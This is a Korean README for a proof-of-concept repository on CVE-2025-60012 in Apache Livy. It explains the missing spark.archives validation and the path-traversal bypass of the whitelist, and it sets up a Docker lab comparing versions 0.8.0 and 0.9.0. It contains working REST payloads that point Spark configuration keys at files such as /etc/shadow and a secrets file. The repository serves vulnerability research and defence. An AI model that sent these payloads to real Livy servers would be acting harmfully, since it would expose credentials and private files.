
Apache Livy Unauthorized File Access Vunerability에 대한 POC
교육 및 보안 연구 목적으로만 사용하십시오. 귀하가 소유하지 않거나 테스트에 대한 명시적 서면 허가를 받지 않은 시스템에 사용하지 마십시오. → 전체 면책 조항
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2025-60012 |
| 심각도 | 중간 (CVSS 6.3) |
| 영향을 받는 버전 | Apache Livy 0.7.0-incubating, 0.8.0-incubating — Apache Spark 3.1 이상에 연결된 경우 |
| 수정 버전 | Apache Livy 0.9.0-incubating |
| CWE | CWE-20: 부적절한 입력 검증 |
| 공개일 | 2026-03-13 |
| 보고자 | Furue Hideyuki |
Livy의 REST 또는 JDBC 인터페이스에 접근할 수 있는 인증된 사용자가 조작된 구성 값으로 Spark 세션 또는 배치 작업을 제출할 수 있습니다. 두 가지 취약점이 결합되어 공격자가 허용된 경로 외부의 로컬 파일 시스템 파일을 참조할 수 있게 합니다.
spark.archives에 대한 검증 누락 — Spark 3.1은 모든 클러스터 관리자에서 아카이브 파일을 배포하는 통합 방법으로 spark.archives를 도입했습니다. Livy 0.8.0의 경로 검증 대상 구성 키 하드코딩 목록(HARDCODED_SPARK_FILE_LISTS)에는 spark.archives가 포함되어 있지 않습니다. 따라서 이 키를 통해 전달된 경로는 로컬 파일 시스템 허용 목록(livy.file.local-dir-whitelist)에 대해 검사되지 않으므로 공격자가 모든 로컬 파일을 참조할 수 있습니다.
허용 목록 검사의 경로 탐색 우회 — 검증되는 구성 키의 경우에도 Livy 0.8.0의 허용 목록 비교는 원시 경로에 대한 일반 Java String startsWith 호출을 사용합니다. 공격자는 경로 탐색을 사용하여 이를 우회할 수 있습니다. /whitelisted/dir/../../etc/passwd는 문자열 검사를 통과하지만 허용된 디렉토리 외부로 해석됩니다.
LivyConf.scala취약 버전 (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
수정 버전 (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Session.scala취약 버전 (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
수정 버전 (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
두 버전 모두 공식 Apache Livy GitHub 저장소에서 다음 정확한 명령어를 사용하여 이 워크스페이스로 직접 클론되었습니다:
git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0
git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0
| 버전 | 태그 | 해결된 커밋 | 로컬 경로 |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |
## 정확한 코드 차이점
차이점은 두 태그를 로컬에서 클론하고(위 참조) 다음을 실행하여 생성되었습니다:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
LivyConf.scala: spark.archives 하드코딩된 파일 목록에 추가됨```diffprivate val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,
**v0.8.0에서 누락된 항목의 영향:**
사용자가 `conf: {"spark.archives": "file:///etc/passwd"}`로 세션을 제출하면 Livy
0.8.0은 해당 값에 대해 `resolveURIs()`를 호출하지 않으며 `livy.file.local-dir-whitelist`에 대해 검사하지 않습니다.
이 경로는 검증되지 않은 상태로 Spark에 전달됩니다.
---
### Fix 2 — `Session.scala`: 허용 목록 검사 전 경로 정규화```diff
def resolveURI(uri: URI, livyConf: LivyConf): URI = {
...
if (resolved.getScheme() == "file") {
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
}
v0.8.0의 영향:
원시 문자열 startsWith 검사가 경로 탐색 페이로드를 통해 우회될 수 있습니다.
예: livy.file.local-dir-whitelist = /opt/safe-data인 경우```
/opt/safe-data/../../../etc/passwd
- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (우회됨)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
`/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (차단됨)
## 공격 벡터 요약```
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions (or /batches)
{
"conf": {
"spark.archives": "file:///etc/shadow" ← Attack 1: unvalidated Spark 3.1 key
"spark.jars": "file:///safe/../etc/shadow" ← Attack 2: path traversal bypass
}
}
│
▼
Livy 0.8.0 — validation skipped / bypassed
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
| 구성 요소 | 세부 사항 |
|---|---|
| 호스트 OS | Ubuntu 24.04.4 LTS (Noble Numbat) |
| 커널 | 6.17.0-14-generic x86_64 |
| 아키텍처 | x86_64 |
| 총 메모리 | 15.49 GiB |
| Docker 엔진 | 28.2.2 |
| 호스트 JDK | OpenJDK 17.0.18 (호스트 전용 — 컨테이너는 eclipse-temurin:11-jdk-focal 사용) |
| 컨테이너 기본 이미지 | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Spark 버전 (두 이미지 모두) | 3.1.3 with Hadoop 3.2 |
| Livy 버전 — 취약 이미지 | 0.8.0-incubating (Scala 2.12 build) |
| Livy 버전 — 수정 이미지 | 0.9.0-incubating (Scala 2.12 build) |
. ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh
---
## 개념 증명
### 개요```
docker/vulnerable/ → image: cve-2025-60012-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-60012-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
전체 종단 간 시퀀스 — 1단계부터 4단계까지 순서대로 따르십시오:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container
> **참고:** `docker run` 후 Livy가 준비되기까지 약 15~20초가 소요됩니다.
> 아래 모든 단계에는 API 호출 전에 명시적인 `sleep 20`이 포함되어 있습니다.
---
### 1단계 — 취약 환경 구축 및 시작 (Livy 0.8.0 + Spark 3.1.3)
**파일:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf` — `0.0.0.0:8998`에 바인딩, 로컬 모드, 화이트리스트 = `/opt/safe-data`
**1a. 이미지 빌드:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/
검증 — 이미지가 생성되었습니다:```bash docker images cve-2025-60012-vulnerable
예상 출력:```
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-60012-vulnerable latest <id> <time> <size>
1b. 컨테이너 시작:```bash docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable
**확인 — 컨테이너가 실행 중:**```bash
docker ps --filter name=livy-vulnerable
예상 출력:``` CONTAINER ID IMAGE COMMAND STATUS PORTS cve-2025-60012-vulnerable "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
---
**1c. Livy가 시작될 때까지 기다린 후 REST API를 확인하십시오:**
> Livy는 요청을 처리하기 전에 초기화하는 데 약 15~20초가 필요합니다.```bash
sleep 20
curl -s http://localhost:8998/sessions
예상 출력:```json {"from":0,"total":0,"sessions":[]}
---
**1d. 컨테이너 내부 디렉터리 레이아웃 검증:**
허용된 안전 파일이 존재하는지 확인:```bash
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
예상 출력:``` This file lives inside the whitelisted directory.
대상 민감 파일이 화이트리스트 외부에 있는지 확인:```bash
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
예상 출력:``` SECRET_KEY=abcdef1234567890 DB_PASSWORD=SuperSecret!
---
### 2단계 — 취약한 환경에 대한 검증 실행
> 1단계의 취약한 컨테이너가 여전히 포트 8998에서 실행 중이어야 합니다.
**`test/validate.sh`가 테스트하는 내용:**
| # | 공격 | 페이로드 키 | Livy 0.8.0에서 예상되는 결과 |
|---|--------|-------------|-------------------------------|
| 1 | `spark.archives`가 `LivyConf.scala`의 `HARDCODED_SPARK_FILE_LISTS`에 없음 | `spark.archives` | HTTP 201 — 경로가 검증 없이 허용됨 |
| 2 | `Session.scala`에서 `String.startsWith()`를 통한 경로 순회 | `../` 순회가 있는 `spark.jars` | HTTP 201 — 순회가 화이트리스트를 우회함 |
**2a. 스크립트 실행:**```bash
bash test/validate.sh
예상 출력:``` TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key) WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data) PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 201 RESPONSE : {"id":0,...,"conf":{"spark.archives":"file:///opt/sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass) WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201 RESPONSE : {"id":1,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.
RESULT: VULNERABLE — exit code 1
**2b. 중지하고 취약한 컨테이너 제거:**```bash
docker stop livy-vulnerable && docker rm livy-vulnerable
확인 — 컨테이너가 완전히 제거됨:```bash docker ps -a --filter name=livy-vulnerable
예상 출력 (비어 있음 — 행 없음):```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
파일:
docker/fixed/Dockerfile — 기본 이미지와 Spark 3.1.3은 동일하며, Livy 버전만 0.9.0으로 변경docker/fixed/livy.conf — docker/vulnerable/livy.conf와 동일 (동일한 허용 목록, 포트, 모드)Spark, 기본 이미지, 모든 구성을 1단계와 동일하게 유지하면 Livy만이 유일한 변수로 분리됩니다.
3a. 이미지 빌드:```bash docker build -t cve-2025-60012-fixed docker/fixed/
**검증 — 이미지가 생성되었습니다:**```bash
docker images cve-2025-60012-fixed
예상 출력:``` REPOSITORY TAG IMAGE ID CREATED SIZE cve-2025-60012-fixed latest
**3b. 컨테이너 시작:**```bash
docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed
확인 — 컨테이너가 실행 중입니다:```bash docker ps --filter name=livy-fixed
예상 출력:```
CONTAINER ID IMAGE COMMAND STATUS PORTS
<id> cve-2025-60012-fixed "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
3c. Livy가 시작될 때까지 기다린 후, REST API를 확인하세요:```bash sleep 20 curl -s http://localhost:8998/sessions
예상 출력:```json
{"from":0,"total":0,"sessions":[]}
3단계의 수정된 컨테이너가 포트 8998에서 실행 중이어야 합니다. 스크립트는 동일합니다. 변경 사항이 없습니다.
2단계와 4단계 사이의 변경 사항:
HARDCODED_SPARK_FILE_LISTS를 통해 spark.archives를 검증합니다.Paths.get().normalize()로 경로를 정규화합니다.4a. 스크립트 실행:```bash bash test/validate.sh
> **참고:** `validate.sh`는 다음과 같이 작동합니다:
> 1. `GET /sessions`를 주기적으로 확인하여 Livy가 응답할 때까지(최대 60초) 대기하며 서버가 준비되었는지 확인합니다.
> 2. 각 공격에 대해, `curl`을 통해 `POST /sessions` 요청을 보내며, 화이트리스트 외부의 파일(`/opt/sensitive/secret.txt`)을 대상으로 조작된 `conf` 페이로드를 전송합니다.
> 3. HTTP 응답 코드를 읽습니다: **201**은 Livy가 경로 검증 없이 수락했음을 의미(취약); **400**은 Livy가 화이트리스트 검사에서 거부했음을 의미(수정됨).
> 4. 세션이 생성된 경우(HTTP 201), 스크립트는 즉시 `DELETE /sessions/{id}`를 통해 삭제하여 서버를 깨끗하게 유지합니다.
> 5. 두 테스트 후 요약을 출력하고 코드 **1**(취약) 또는 **0**(수정됨)으로 종료하여 자동화 파이프라인에서 사용하기 적합합니다.
**예상 출력:**```
TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path validation blocked the payload.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path validation blocked the payload.
RESULT: FIXED — exit code 0
오류 메시지가 확인해 주는 사항:
| 공격 | HTTP | 오류 메시지 | 수정된 근본 원인 |
|---|---|---|---|
1 — spark.archives | 400 | Local path /opt/sensitive/secret.txt cannot be added to user sessions. | spark.archives가 LivyConf.scala의 HARDCODED_SPARK_FILE_LISTS에 추가됨; 경로가 이제 resolveURI() 허용 목록 확인을 통과함 |
| 2 — 경로 탐색 | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | Session.scala에 Paths.get(...).normalize() 추가됨; 허용 목록 비교 전에 ../를 해결함 |
4b. 수정된 컨테이너를 중지하고 제거:```bash docker stop livy-fixed && docker rm livy-fixed
**확인 — 컨테이너가 완전히 제거됨:**```bash
docker ps -a --filter name=livy-fixed
예상 출력 (빈 줄 — 행 없음):``` CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
## 추론
CVE-2025-60012는 취약점이 항상 보안 제어를 우회해야 하는 것은 아님을 보여줍니다. 때로는 처음부터 해당 제어를 통해 라우팅되지 않은 경로를 찾는 것만으로도 충분합니다.
화이트리스트(`livy.file.local-dir-whitelist`)는 Livy 0.8.0 및 0.9.0 모두에 존재했으며 두 환경 모두에서 올바르게 구성되었습니다. 실패는 그 상위에 있었습니다:
1. **등록 누락 (공격 1):** `spark.archives`는 Spark 3.1에서 `spark.yarn.dist.archives`의 클러스터 관리자 비의존적 대체제로 도입되었습니다. 경로가 화이트리스트 검사에 입력되는 Livy의 내부 구성 키 목록(`LivyConf.scala`의 `HARDCODED_SPARK_FILE_LISTS`)에는 이 키가 포함되도록 업데이트되지 않았습니다. 따라서 `spark.archives`를 통해 전달된 모든 경로는 전혀 검증되지 않고 Spark로 전달되었습니다. 화이트리스트는 결코 참조되지 않았습니다.
2. **검사 자체의 논리적 결함 (공격 2):** 등록된 키의 경우 `Session.scala`의 화이트리스트 비교는 원시 경로 문자열에 대해 Java의 `String.startsWith()`를 사용했습니다. 이는 `..` 탐색을 고려하지 않기 때문에 파일 시스템 경로 비교에 충분하지 않습니다. `/opt/safe-data/../sensitive/secret.txt`와 같은 경로는 화이트리스트 항목 `/opt/safe-data`에 대한 문자열 검사를 만족하지만, 전혀 다른 위치로 해석됩니다.
이 두 가지 취약점을 종합하면, Livy REST 또는 JDBC 인터페이스에 접근할 수 있는 일반 인증 사용자도 Livy 서버 호스트의 임의 로컬 파일을 참조할 수 있음을 의미합니다. 공유 분석 클러스터에서는 Livy 프로세스 사용자가 읽을 수 있는 자격 증명, 키, 구성 파일 또는 모든 데이터가 잠재적으로 노출될 수 있습니다.
0.9.0의 수정은 최소화되고 집중되었습니다: `HARDCODED_SPARK_FILE_LISTS`에 한 줄이 추가되었고(등록 누락 해결), 화이트리스트 비교 전에 `Paths.get().normalize()` 호출이 한 번 추가되었습니다(경로 탐색 우회 해결). 두 변경 모두 화이트리스트 자체를 변경하지 않았으며, 이는 화이트리스트가 문제가 아니었음을 확인시켜 줍니다. 문제는 화이트리스트에 입력되는 코드가 불완전하고 부정확했다는 점이었습니다.
**방어자를 위한 주요 교훈:** Livy가 Spark 3.1 이상과 함께 배포된 경우, Livy 0.9.0-incubating으로 업그레이드하는 것이 유일한 완전한 해결책입니다. `livy.file.local-dir-whitelist`를 강화하는 것만으로는 공격 1에 충분하지 않습니다. 취약한 버전에서는 `spark.archives`를 통해 제출된 경로가 해당 검사를 완전히 우회하기 때문입니다.
## 참고 자료
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-60012
- OSS-Sec 공개: http://www.openwall.com/lists/oss-security/2026/03/12/1
- Apache 메일링 리스트: https://lists.apache.org/thread/gpc85fwrgrbglpk9gm8tmcjzqnctx64w
- Apache Livy 프로젝트: https://livy.apache.org/
## 감사의 말
- **Furue Hideyuki** — CVE-2025-60012를 Apache 보안 팀에 최초로 신고한 분.
- **Apache Livy 유지보수자** — 신속한 분류와 v0.9.0-incubating의 표적 수정에 대해.
- **Apache 보안 팀** — 책임 있는 공개 프로세스 조정에 대해.
- **OSS-Sec 커뮤니티** — 독립적인 분석을 가능하게 한 공개 공개 스레드에 대해.
## 기여
이 PoC 또는 문서를 개선하기 위한 기여를 환영합니다! 기여 시 다음 사항을 준수해 주세요:
- 책임 있는 공개 관행을 따르세요
- 적절한 면책 조항을 포함하세요
- 교육적 시연을 넘어서는 악성 코드를 포함하지 마세요
- 교육적 가치에 초점을 유지하세요
기여하려면 풀 리퀘스트를 열거나 제안된 변경 사항을 설명하는 이슈를 제출하세요.
## 라이선스
이 프로젝트는 [MIT 라이선스](https://github.com/sid6224/cve-2025-60012-poc/blob/main/LICENSE)에 따라 라이선스가 부여됩니다.
## 면책 조항
이 저장소는 교육 및 보안 연구 목적으로만 제공됩니다. 개념 증명은 이해와 방어 조치를 돕기 위해 취약점 메커니즘을 보여줍니다. 소유하지 않거나 명시적인 서면 허가를 받지 않은 시스템에 사용하지 마십시오.
## 태그
`cve-2025-60012` `apache-livy` `apache-spark` `path-traversal` `unauthorized-file-access`
`cwe-20` `improper-input-validation` `spark-archives` `livy-0.8.0` `livy-0.9.0`
`security-research` `proof-of-concept` `docker` `java` `scala`
`vulnerability-analysis` `whitelist-bypass` `file-disclosure` `rest-api-security`